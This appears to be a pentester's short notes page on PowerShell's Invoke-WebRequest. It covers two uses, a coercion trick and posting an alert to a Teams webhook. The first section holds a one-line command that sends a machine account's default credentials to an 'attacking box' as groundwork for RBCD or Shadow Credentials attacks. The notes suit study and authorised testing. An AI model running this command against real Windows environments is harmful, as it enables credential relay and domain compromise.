# invoke-webrequest

Good for...well...invoking Web requests.

# Making a Web request

TIP

In this Slack chat I learned about this X post where you use iwr to coerce authentication of a machine account when running as NT SERVICE or IIS AppPool. This can be used for RBCD and/or Shadow Credentials.

powershell invoke-webrequest http://your.attacking.box.ip -UseDefaultCredentials

# Firing a Teams Webhook

These Webhooks can be handy for sending an alert to Teams when stuff happens, such as systems going online/offline, etc.

 Invoke-WebRequest -Uri "https://yoursite.webhook.office.com/webhookb2/xxx/yyy" `
>>   -Method POST `
>>   -ContentType "application/json" `
>>   -Body '{"text":"Hello from PowerShell!"}'